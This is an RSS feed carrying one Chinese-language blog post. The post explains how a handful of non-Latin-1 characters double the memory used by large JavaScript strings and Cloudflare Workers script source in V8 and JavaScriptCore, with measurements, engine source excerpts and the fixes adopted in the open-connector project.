<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kevin Cui&apos;s Blog</title><description>Kevin Cui&apos;s Blog</description><link>https://bugs.cc/zh/</link><language>zh-CN</language><copyright>Kevin Cui (CC BY 4.0)</copyright><managingEditor>bh@bugs.cc (Kevin Cui)</managingEditor><webMaster>bh@bugs.cc (Kevin Cui)</webMaster><atom:link href="https://bugs.cc/zh/index.xml" rel="self" type="application/rss+xml"/><follow_challenge><feedId>67444337223193600</feedId><userId>67028119038586880</userId></follow_challenge><item><title>6.47 MB 的 JS 字符串占了 15.4 MB 内存</title><link>https://bugs.cc/zh/posts/one-character-doubles-js-string-memory/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/one-character-doubles-js-string-memory/</guid><description>open-connector 是我们在做的一个开源项目，把 1464 个第三方 API (Slack、GitHub、飞书这些) 包装成统一的 action 接口。每个第三方叫一个 provider，它有哪些 action、每个 action 的输入输出长什么样 (JSON Schema)，都写在一个 JSON…</description><pubDate>Fri, 04 Sep 2026 11:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/oomol-lab/open-connector&quot;&gt;open-connector&lt;/a&gt; 是我们在做的一个开源项目，把 1464 个第三方 API (Slack、GitHub、飞书这些) 包装成统一的 action 接口。每个第三方叫一个 provider，它有哪些 action、每个 action 的输入输出长什么样 (JSON Schema)，都写在一个 JSON 文件里。这堆文件叫 catalog，服务启动时会加载进内存。&lt;/p&gt;
&lt;p&gt;最近在给它的 Bun 单文件二进制压常驻内存，把启动后的 RSS 从 378 MiB 压到了 293 MiB (&lt;a href=&quot;https://github.com/oomol-lab/open-connector/pull/490&quot;&gt;open-connector#490&lt;/a&gt;)。排查的时候发现，堆里最大的单个对象是一个 JSON 字符串: 6,471,221 个字符，按 UTF-8 算是 6.47 MB，在 JavaScriptCore 的堆里却占了 15.4 MB。原因是这 647 万个字符里，有 49 个超出了 Latin-1 的范围。&lt;/p&gt;
&lt;p&gt;后来看 Cloudflare Workers 上的堆，也是同样的原因: 2 个字符让 14.5 MB 的脚本占了 27.6 MiB。记录一下。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;环境:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;macOS arm64&lt;/li&gt;
&lt;li&gt;Bun 1.4.0 (JavaScriptCore)&lt;/li&gt;
&lt;li&gt;Node 26.7.0 (V8)&lt;/li&gt;
&lt;li&gt;esbuild 0.28.x，wrangler 4.127.1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;现象 {#symptom}&lt;/h2&gt;
&lt;p&gt;服务启动时会把 catalog 里每个 provider 的摘要 (名字、描述、有哪些 action，不含 schema) &lt;code&gt;JSON.stringify&lt;/code&gt; 一次缓存起来，作为 &lt;code&gt;/api/providers&lt;/code&gt; 的响应体，之后每次请求原样发出去。这个字符串就是 &lt;code&gt;providerSummariesJson&lt;/code&gt;，6,471,221 个字符。&lt;/p&gt;
&lt;p&gt;排查内存的时候，我用 &lt;code&gt;bun:jsc&lt;/code&gt; 的 &lt;code&gt;heapStats()&lt;/code&gt; 对比了加载 catalog 前后的堆，再单独把这个字符串置空，确认它一个就占了 15.4 MB。&lt;/p&gt;
&lt;p&gt;catalog 有两种加载方式。默认是启动时把每个 provider 的 JSON Schema 一起读进内存；也可以只留下名字、描述和 action 列表，schema 等真正用到某个 action 时再读对应的文件。后一种情况下，整个 JS 堆只有 26.4 MiB，光这一个字符串就超过一半。&lt;/p&gt;
&lt;p&gt;6.47 MB 的文本占 15.4 MB，差不多是两倍。扫一遍这个字符串里码点大于 U+00FF 的字符:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const tally = new Map();
for (const ch of text) {
  if (ch.codePointAt(0) &amp;gt; 0xff) tally.set(ch, (tally.get(ch) ?? 0) + 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;chars: 6471221, non-Latin-1 code points: 49
U+2014 &quot;—&quot; x13
U+2022 &quot;•&quot; x12
U+2192 &quot;→&quot; x3
U+8868 &quot;表&quot; x2
U+5E7F &quot;广&quot; x2
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;49 个字符: 13 个 em dash，12 个圆点，3 个箭头，剩下 21 个是几个国内 provider 描述里的汉字。这 49 个字符来自 17 个 provider 文件，其余 1447 个文件全是 ASCII。就是这 49 个字符，让整个字符串的每一个字符都按 2 字节存了。&lt;/p&gt;
&lt;h2&gt;为什么是两倍 {#why-two-bytes}&lt;/h2&gt;
&lt;p&gt;ECMAScript 规范里字符串是 16 位码元的序列，但引擎并不会每个字符都用 2 字节。V8 有 &lt;code&gt;SeqOneByteString&lt;/code&gt; 和 &lt;code&gt;SeqTwoByteString&lt;/code&gt; 两种表示，JavaScriptCore 的 &lt;code&gt;StringImpl&lt;/code&gt; 有 &lt;code&gt;is8Bit()&lt;/code&gt; 的 8 位和 16 位两种。规则是一样的: 字符串里每一个字符都小于等于 U+00FF，就按每字符 1 字节存；只要有一个超过，整段都按每字符 2 字节存。V8 源码里这个上限叫 &lt;code&gt;kMaxOneByteCharCode = 0xFF&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这个上限是 Latin-1，不是 ASCII。&lt;code&gt;é&lt;/code&gt; (U+00E9) 不是 ASCII，但码点仍然小于等于 U+00FF，所以还是 1 字节。真正会让整段变成 2 字节的，是超过 U+00FF 的字符，比如 em dash (U+2014)、圆点 (U+2022)、箭头 (U+2192)、汉字、emoji。所以 647 万个字符里混进 1 个汉字，整段都会翻倍。&lt;/p&gt;
&lt;p&gt;写个脚本验证一下。800 万个纯 ASCII 字符，末尾分别加一个 &lt;code&gt;é&lt;/code&gt; 和一个 &lt;code&gt;中&lt;/code&gt;，看堆增长了多少:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;
function heap() {
  globalThis.gc();
  globalThis.gc();
  return v8.getHeapStatistics().used_heap_size;
}

function build(extra) {
  const s = &quot;abcdefgh&quot;.repeat(1_000_000) + extra;
  s.charCodeAt(s.length - 1); // 把 rope 摊平，见下文 // [!code highlight]
  return s;
}

const base = heap();
const ascii = build(&quot;&quot;);
const h1 = heap();
const latin = build(&quot;é&quot;);
const h2 = heap();
const cjk = build(&quot;中&quot;);
const h3 = heap();
console.log(`8,000,000 x ASCII        : heap +${((h1 - base) / 1048576).toFixed(1)} MiB`);
console.log(`same + one &quot;é&quot; (U+00E9)  : heap +${((h2 - h1) / 1048576).toFixed(1)} MiB`);
console.log(`same + one &quot;中&quot; (U+4E2D) : heap +${((h3 - h2) / 1048576).toFixed(1)} MiB`);
globalThis.keep = [ascii, latin, cjk];
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --expose-gc demo.mjs
8,000,000 x ASCII        : heap +7.6 MiB
same + one &quot;é&quot; (U+00E9)  : heap +7.6 MiB
same + one &quot;中&quot; (U+4E2D) : heap +15.3 MiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把 &lt;code&gt;heap()&lt;/code&gt; 换成 &lt;code&gt;Bun.gc(true)&lt;/code&gt; 加 &lt;code&gt;process.memoryUsage().heapUsed&lt;/code&gt;，在 Bun 1.4.0 上跑出来的三个数字也是 7.6、7.6、15.3。两个引擎的结果一样。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/one-character-doubles-js-string-memory/string-memory.png&quot; alt=&quot;输入文本，显示超出 Latin-1 的字符和堆内存估算&quot;&gt;&lt;/p&gt;
&lt;p&gt;红色标出来的是超出 Latin-1 的字符。&lt;/p&gt;
&lt;p&gt;V8 还可以直接看到类型:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;%DebugPrint(&quot;abc&quot; + &quot;é&quot;); %DebugPrint(&quot;abc&quot; + &quot;中&quot;)&apos;
DebugPrint: 0xd0faee56981: [String] in OldSpace: &quot;abc\xe9&quot;
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0xd0faee56999: [String] in OldSpace: u&quot;abc\u4e2d&quot;
 - type: SEQ_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本里那行 &lt;code&gt;charCodeAt&lt;/code&gt; 是必要的。&lt;code&gt;a + b&lt;/code&gt; 在两个引擎里都不会立刻拷贝，而是生成一个 rope (V8 叫 &lt;code&gt;ConsString&lt;/code&gt;，JSC 叫 &lt;code&gt;JSRopeString&lt;/code&gt;)，左右两半各自保持原来的表示。这时候 800 万个 ASCII 字符仍然是 1 字节的。但只要对它按下标、跑正则、调用 &lt;code&gt;indexOf&lt;/code&gt;，或者当作 HTTP 响应体写出去，引擎就会把 rope 摊平成一段连续内存，这时候才按最宽的字符决定整段用几字节。不加这行的话，三个数字全是 7.6。&lt;/p&gt;
&lt;p&gt;rope 本身也能用 &lt;code&gt;%DebugPrint&lt;/code&gt; 看到:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;const s = &quot;abcdefgh&quot;.repeat(4) + &quot;中&quot;; %DebugPrint(s)&apos;
DebugPrint: 0x1be004ae841: [String]: uc&quot;abcdefghabcdefghabcdefghabcdefgh\u4e2d&quot;
 - type: CONS_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前缀里的 &lt;code&gt;c&lt;/code&gt; 是 cons。拼接的一瞬间 V8 就把这个 rope 标成了 2 字节，因为右半边是 2 字节的，但左半边那些 ASCII 字符还是原来那块 1 字节内存。真正按 2 字节重新拷贝一份，发生在摊平的时候。&lt;/p&gt;
&lt;p&gt;两个引擎的规则都能在源码里看到。V8 的 &lt;code&gt;String&lt;/code&gt; 类注释里写了规范的定义，以及 1 字节的上限和两种顺序存储的字符类型 (&lt;a href=&quot;https://github.com/v8/v8/blob/main/src/objects/string.h&quot;&gt;string.h&lt;/a&gt;、&lt;a href=&quot;https://github.com/v8/v8/blob/main/src/strings/unicode.h&quot;&gt;unicode.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// The String abstract class captures JavaScript string values:
//
// Ecma-262:
//  4.3.16 String Value
//    A string value is a member of the type String and is a finite
//    ordered sequence of zero or more 16-bit unsigned integer values.
V8_OBJECT class String : public Name {
  // ...
  // Max char codes.
  static const int32_t kMaxOneByteCharCode = unibrow::Latin1::kMaxChar; // [!code highlight]
  static const int kMaxUtf16CodeUnit = 0xffff;
};

V8_OBJECT class SeqOneByteString : public SeqString {
  static const bool kHasOneByteEncoding = true;
  using Char = uint8_t; // [!code highlight]
};

V8_OBJECT class SeqTwoByteString : public SeqString {
  static const bool kHasOneByteEncoding = false;
  using Char = uint16_t; // [!code highlight]
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;class Latin1 {
 public:
  static const uint16_t kMaxChar = 0xff;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WebKit 里是一个 &lt;code&gt;StringImpl&lt;/code&gt; 带一个标志位，数据指针是一个 union，同一个字符串同一时刻只能是其中一种 (&lt;a href=&quot;https://github.com/WebKit/WebKit/blob/main/Source/WTF/wtf/text/StringImpl.h&quot;&gt;StringImpl.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;static constexpr const unsigned s_hashFlag8BitBuffer = 1u &amp;lt;&amp;lt; 2;
// ...
bool is8Bit() const { return m_hashAndFlags &amp;amp; s_hashFlag8BitBuffer; } // [!code highlight]
// ...
std::atomic&amp;lt;uint32_t&amp;gt; m_refCount;
unsigned m_length;
union { // [!code highlight:4]
    const Latin1Character* m_data8;
    const char16_t* m_data16;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; 不会转义非 ASCII 字符。它只转义引号、反斜杠、控制字符和落单的代理对。所以只要 JSON 里有一段中文描述，&lt;code&gt;JSON.stringify&lt;/code&gt; 出来的整个字符串就是 2 字节的，不管其余部分是不是 ASCII。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;JSON.parse&lt;/code&gt; 不受这个影响。解析出来的每个字符串值都是独立的字符串，各自选表示:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;const o = JSON.parse(`{&quot;a&quot;:&quot;abcdefghabcdefgh&quot;,&quot;b&quot;:&quot;abcdefghabcdefgh中&quot;}`); %DebugPrint(o.a); %DebugPrint(o.b)&apos;
DebugPrint: 0x19f36672e771: [String]: &quot;abcdefghabcdefgh&quot;
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0x19f36672e791: [String]: u&quot;abcdefghabcdefgh\u4e2d&quot;
 - type: SEQ_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 catalog 解析成对象之后，只有那 17 个 provider 里带汉字和 em dash 的描述字段是 2 字节的，其他字段该 1 字节还是 1 字节。翻倍只发生在序列化出来的那一整段文本上。&lt;/p&gt;
&lt;h2&gt;修复 {#fix-bytes}&lt;/h2&gt;
&lt;p&gt;这个字符串的用途只有一个: 作为 HTTP 响应体原样发出去。发出去的时候本来就要编码成 UTF-8 字节，所以干脆在启动时就编码好，堆里只留 &lt;code&gt;Uint8Array&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;return {
  providerSummariesJson,
  // TextEncoder rather than Buffer: the Cloudflare Workers build shares this function.
  providerSummariesJson: new TextEncoder().encode(providerSummariesJson),
  providerSummariesEtag: weakEtag(providerSummariesJson),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Uint8Array&lt;/code&gt; 存在 &lt;code&gt;ArrayBuffer&lt;/code&gt; 里，按字节算，6.47 MB 就是 6.47 MB。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/api/providers&lt;/code&gt; 带了 ETag，浏览器和 CDN 拿它判断缓存要不要作废。这个值是对 JSON 字符串做哈希得到的，哈希的是 UTF-16 码元，不是 UTF-8 字节。如果改成对字节算，已经缓存过这个接口的客户端会认为内容变了，6.47 MB 会重新拉一遍。所以哈希仍然用编码前的字符串来算，算完字符串就可以丢掉。改之前这个接口的 ETag 是 &lt;code&gt;W/&quot;62be35-aa331d99&quot;&lt;/code&gt;，改完还是这一个，响应正文也和原来逐字节相同。&lt;/p&gt;
&lt;p&gt;效果: 只留名字、描述和 action 列表的那种加载方式下，JSC 堆从 26.4 MiB 降到 17.2 MiB；schema 也放在内存里的默认方式从 74.7 MiB 降到 65.5 MiB。不过 macOS 上 &lt;code&gt;ps&lt;/code&gt; 报的 RSS 没有变化。Bun 用的 mimalloc 释放内存之后不会立刻把页还给系统，所以 &lt;code&gt;ps&lt;/code&gt; 看到的数字不会跟着掉。&lt;/p&gt;
&lt;p&gt;如果必须留一个字符串，可以把非 ASCII 字符转义成 &lt;code&gt;\uXXXX&lt;/code&gt; 写进 JSON 文本里。这仍然是合法的 JSON，解析出来的值不变，49 个字符各多占 5 个字符，整段就能回到 1 字节。在这份 catalog 上试了一下 (字符串已经长到 6,472,664 个字符)，中间还踩了一个坑:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const escaped = json.replace(/[\u0100-\uffff]/g, (c) =&amp;gt; &quot;\\u&quot; + c.charCodeAt(0).toString(16).padStart(4, &quot;0&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;json                                 : 6,472,664 chars, heap +12.34 MiB, SEQ_TWO_BYTE_STRING_TYPE
escaped = json.replace(...)          : 6,472,909 chars, heap +12.35 MiB, SEQ_TWO_BYTE_STRING_TYPE
JSON.parse(JSON.stringify(escaped))  : 6,472,909 chars, heap  +6.17 MiB, SEQ_ONE_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转义完的字符串里已经没有任何一个大于 U+00FF 的字符了，但 &lt;code&gt;replace()&lt;/code&gt; 的结果仍然是 2 字节的。原因在两个引擎的实现里。V8 带回调的 &lt;code&gt;replace&lt;/code&gt; 走 &lt;code&gt;Runtime_RegExpReplaceRT&lt;/code&gt;，结果是用原字符串的子串和每段替换文本拼出来的 (&lt;a href=&quot;https://github.com/v8/v8/blob/main/src/runtime/runtime-regexp.cc&quot;&gt;runtime-regexp.cc&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  // ...
  const bool functional_replace = IsCallable(*replace_obj);
  // ...
  IncrementalStringBuilder builder(isolate);
  // ...
    if (position &amp;gt;= next_source_position) {
      builder.AppendString( // [!code highlight:3]
          factory-&amp;gt;NewSubString(string, next_source_position, position));
      builder.AppendString(replacement);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;NewSubString&lt;/code&gt; 从一个 2 字节的 &lt;code&gt;string&lt;/code&gt; 上切出来的子串还是 2 字节的，它沿用的是父串的表示，不看内容。&lt;code&gt;IncrementalStringBuilder&lt;/code&gt; 一旦追加过一段 2 字节的内容就切到 2 字节，不会再切回去。所以只要原串是 2 字节，结果一定是 2 字节。&lt;/p&gt;
&lt;p&gt;JSC 的 &lt;code&gt;replace&lt;/code&gt; 最后都走到 &lt;code&gt;jsSpliceSubstringsWithSeparators&lt;/code&gt;，它只看源串的标志位和每段替换文本的标志位 (&lt;a href=&quot;https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/StringPrototypeInlines.h&quot;&gt;StringPrototypeInlines.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;bool allSeparators8Bit = true;
for (int i = 0; i &amp;lt; separatorCount; i++) {
    totalLength += separators[i].length();
    if (separators[i].length() &amp;amp;&amp;amp; !separators[i].is8Bit())
        allSeparators8Bit = false;
}
// ...
if (source.is8Bit() &amp;amp;&amp;amp; allSeparators8Bit) { // [!code highlight]
    std::span&amp;lt;Latin1Character&amp;gt; buffer;
    auto impl = StringImpl::tryCreateUninitialized(totalLength, buffer);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;source.is8Bit()&lt;/code&gt; 是源串创建时就定下来的标志位。被替换掉的那 49 个字符已经不在结果里了，但标志位还在，所以结果还是按 16 位开 buffer。两个引擎都是这样: 从旧字符串派生出来的新字符串，会继承父串的宽度。要让引擎重新按内容选表示，需要再生成一个新字符串，比如 &lt;code&gt;JSON.parse(JSON.stringify(escaped))&lt;/code&gt;，或者先编码成字节再解码回来，这之后才是 6.17 MiB。Bun 上跑出来的三组数字和这里一样。&lt;/p&gt;
&lt;p&gt;我们最后没走这条路，除了存字节更直接，还有一个原因: 留字符串的话每次响应都要重新编码一遍。6.47 MB 做一次 &lt;code&gt;TextEncoder.encode()&lt;/code&gt;，在上面的 macOS arm64 上测下来是 3.1 ms，而字节可以直接写进 socket。&lt;/p&gt;
&lt;p&gt;另外有个测量上的坑。Node 里 &lt;code&gt;TextDecoder.decode()&lt;/code&gt; 出来的大字符串是 &lt;code&gt;EXTERNAL_TWO_BYTE_STRING_TYPE&lt;/code&gt;，数据在 V8 堆外，&lt;code&gt;v8.getHeapStatistics().used_heap_size&lt;/code&gt; 看不到它，要看 &lt;code&gt;process.memoryUsage().external&lt;/code&gt;。我第一次量的时候堆增长是 0，就是漏了这一块。&lt;/p&gt;
&lt;h2&gt;Cloudflare Workers 上的脚本源码 {#workers}&lt;/h2&gt;
&lt;p&gt;open-connector 同一份代码也部署在 Cloudflare Workers 上。Workers 的每个脚本跑在一个 V8 isolate 里，isolate 的堆上限是 128 MB，超了整个 isolate 会被回收重建。压完二进制之后我顺手查了一下这边到底占多少，用 &lt;code&gt;wrangler dev&lt;/code&gt; 起服务，通过 inspector 端口发 &lt;code&gt;Runtime.getHeapUsage&lt;/code&gt; 和 &lt;code&gt;HeapProfiler.takeHeapSnapshot&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;生产形态 (&lt;code&gt;wrangler deploy --minify&lt;/code&gt;) 的稳态堆是 88.7 MiB，快照里最大的单个节点是一个 27.63 MiB 的字符串: 整个 Worker 脚本的源码。脚本文件本身是 14.5 MB。&lt;/p&gt;
&lt;p&gt;V8 会把脚本源码一直留在堆里，因为它的编译是惰性的: 加载时只预解析，函数第一次被调用才真正编译，而且长时间没跑的函数字节码还会被丢掉，下次调用再从源码重新编译。所以源码必须留着。&lt;/p&gt;
&lt;p&gt;源码进 isolate 的时候用哪种表示，写在 workerd (Workers 的开源运行时) 的 &lt;a href=&quot;https://github.com/cloudflare/workerd/blob/main/src/workerd/jsg/modules-new.c++&quot;&gt;modules-new.c++&lt;/a&gt; 里:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// The source text of an ES module in the representation handed to V8 for
// compilation. V8 has no internal UTF-8 string representation — strings are
// either one-byte (Latin-1) or two-byte (UTF-16). Worker bundle sources arrive
// as UTF-8 bytes, so each module&apos;s source is encoded once, lazily, on first
// compile, and the result is shared by every isolate that compiles the module:
//
//  * Pure-ASCII source (the overwhelmingly common case — bundlers typically
//    escape non-ASCII): the original buffer directly backs a one-byte external
//    string. Zero copies.
//  * Non-ASCII source whose code points all fit in Latin-1: transcoded once to
//    a one-byte buffer, matching the representation V8 itself would choose for
//    the same text.
//  * Anything else (CJK, emoji, ...): transcoded once to UTF-16.
// ...
EncodedSource transcodeSource(kj::ArrayPtr&amp;lt;const char&amp;gt; source) {
  if (simdutf::validate_utf8(source.begin(), source.size())) {
    // Valid UTF-8. Prefer the half-size Latin-1 representation when every code
    // point permits it. The buffer is sized exactly, so with already-validated
    // input a zero return can only mean some code point exceeds U+00FF.
    auto latin1 =
        kj::heapArray&amp;lt;char&amp;gt;(simdutf::latin1_length_from_utf8(source.begin(), source.size()));
    if (simdutf::convert_utf8_to_latin1(source.begin(), source.size(), latin1.begin()) != 0) { // [!code highlight]
      return {.repr = kj::arc&amp;lt;OwnedAscii&amp;gt;(kj::mv(latin1))};
    }

    auto utf16 =
        kj::heapArray&amp;lt;uint16_t&amp;gt;(simdutf::utf16_length_from_utf8(source.begin(), source.size()));
    // ...
    return {.repr = kj::arc&amp;lt;OwnedUtf16&amp;gt;(kj::mv(utf16))}; // [!code highlight]
  }
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释里提到“打包器通常会把非 ASCII 转义掉”。旧的模块注册表走的是 &lt;code&gt;v8::String::NewFromUtf8&lt;/code&gt;，选表示的规则一样。14,483,642 个字符乘 2，正好是 27.63 MiB。&lt;/p&gt;
&lt;p&gt;但源码不一定要按 2 字节存。扫一遍这 14.5 MB 的脚本，码点大于 U+00FF 的字符只有 2 个: 一个 &lt;code&gt;✗&lt;/code&gt; (U+2717) 和一个 &lt;code&gt;✓&lt;/code&gt; (U+2713)，都在 Pi-hole 这个 provider 解析命令行输出的正则里:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return &quot;failed&quot;;
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return &quot;success&quot;;
  }
  return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码库里其他地方有大量中文字符串，为什么最后只剩这 2 个? 因为 esbuild 默认的 &lt;a href=&quot;https://esbuild.github.io/api/#charset&quot;&gt;charset&lt;/a&gt; 是 &lt;code&gt;ascii&lt;/code&gt;，打印字符串字面量的时候，大于 0xFF 的字符写成 &lt;code&gt;\uXXXX&lt;/code&gt;，0x80 到 0xFF 的写成 &lt;code&gt;\xXX&lt;/code&gt;。而正则字面量在打印器里就是一行 &lt;code&gt;p.print(e.Value)&lt;/code&gt;，原样输出 (&lt;a href=&quot;https://github.com/evanw/esbuild/blob/main/internal/js_printer/js_printer.go&quot;&gt;js_printer.go&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Is this an unpaired low surrogate or four-digit hex escape?
case (c &amp;gt;= firstLowSurrogate &amp;amp;&amp;amp; c &amp;lt;= lastLowSurrogate) || (p.options.ASCIIOnly &amp;amp;&amp;amp; c &amp;gt; 0xFF): // [!code highlight]
	js = append(js, &apos;\\&apos;, &apos;u&apos;, hexChars[c&amp;gt;&amp;gt;12], hexChars[(c&amp;gt;&amp;gt;8)&amp;amp;15], hexChars[(c&amp;gt;&amp;gt;4)&amp;amp;15], hexChars[c&amp;amp;15])

// Can this be a two-digit hex escape?
case p.options.ASCIIOnly:
	js = append(js, &apos;\\&apos;, &apos;x&apos;, hexChars[c&amp;gt;&amp;gt;4], hexChars[c&amp;amp;15])
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;case *js_ast.ERegExp:
	// ...
	p.addSourceMapping(expr.Loc)
	p.print(e.Value) // [!code highlight]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文档里也写明了这一点: 目前不会转义正则里的非 ASCII 字符，因为 esbuild 根本不解析正则的内容。效果就是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const ok = &quot;[✓] done&quot;;
const re = /\[✓\]\s*done/;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// esbuild --minify
const o=&quot;[\u2713] done&quot;,e=/\[✓\]\s*done/;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是这 2 个字符让 V8 把整个 14.5 MB 的脚本按 2 字节存，27.63 MiB。所以在正则里也手写转义 (&lt;a href=&quot;https://github.com/oomol-lab/open-connector/pull/493&quot;&gt;open-connector#493&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
  if (/\[\u2717\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return &quot;failed&quot;;
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
  if (/\[\u2713\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return &quot;success&quot;;
  }
  return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正则的语义完全一样，只是源码文本回到了纯 ASCII。同一台机器同一份构建，改前改后各量一次:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;isolate 堆，首请求前      : 40.56 MiB -&amp;gt; 26.74 MiB
isolate 堆，稳态强制 GC 后 : 88.69 MiB -&amp;gt; 74.82 MiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;省下的 13.8 MiB 正好等于脚本文件的大小。另外加了一个测试，扫描 &lt;code&gt;src/&lt;/code&gt; 下所有正则字面量，出现 U+00FF 以上的字符就报文件和行号，以后谁再往正则里写一个箭头，CI 会先挂。&lt;/p&gt;
&lt;p&gt;另外两点:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前面说的 Bun 单文件二进制，里面打包出来的 30 MB JS 没有这个问题。Bun 的打包器在 target 是 &lt;code&gt;bun&lt;/code&gt; 的时候会把所有非 ASCII 都转义，连正则字面量里的也一起改写，输出是纯 ASCII。同一个文件 target 换成 &lt;code&gt;browser&lt;/code&gt; 或者 &lt;code&gt;node&lt;/code&gt; 就原样输出，和 esbuild 一样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ bun build --minify --target=bun in.js
var o=&quot;[\u2713] done&quot;,e=/\[\u2713\]\s*done/;export{o as ok,e as re};
$ bun build --minify --target=browser in.js
var o=&quot;[✓] done&quot;,e=/\[✓\]\s*done/;export{o as ok,e as re};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以在二进制里翻倍的只有数据字符串，在 Workers 里翻倍的是源码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;wrangler dev&lt;/code&gt; 不加 &lt;code&gt;--minify&lt;/code&gt; 的开发构建里有 2909 个非 Latin-1 字符，绝大部分在注释里，源码字符串是 58 MiB。所以量 Workers 内存一定要用生产形态，开发形态的数字没有参考价值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;怎么查 {#how-to-check}&lt;/h2&gt;
&lt;p&gt;判断一个字符串会不会按 2 字节存:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/[^\u0000-\u00ff]/u.test(s);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;V8 上可以直接看类型，&lt;code&gt;node --allow-natives-syntax&lt;/code&gt; 然后 &lt;code&gt;%DebugPrint(s)&lt;/code&gt;，输出里是 &lt;code&gt;SEQ_ONE_BYTE_STRING_TYPE&lt;/code&gt; 还是 &lt;code&gt;SEQ_TWO_BYTE_STRING_TYPE&lt;/code&gt;。DevTools 的堆快照里，一个字符串的 shallow size 大约是长度的 2 倍，那就是 2 字节的。&lt;/p&gt;
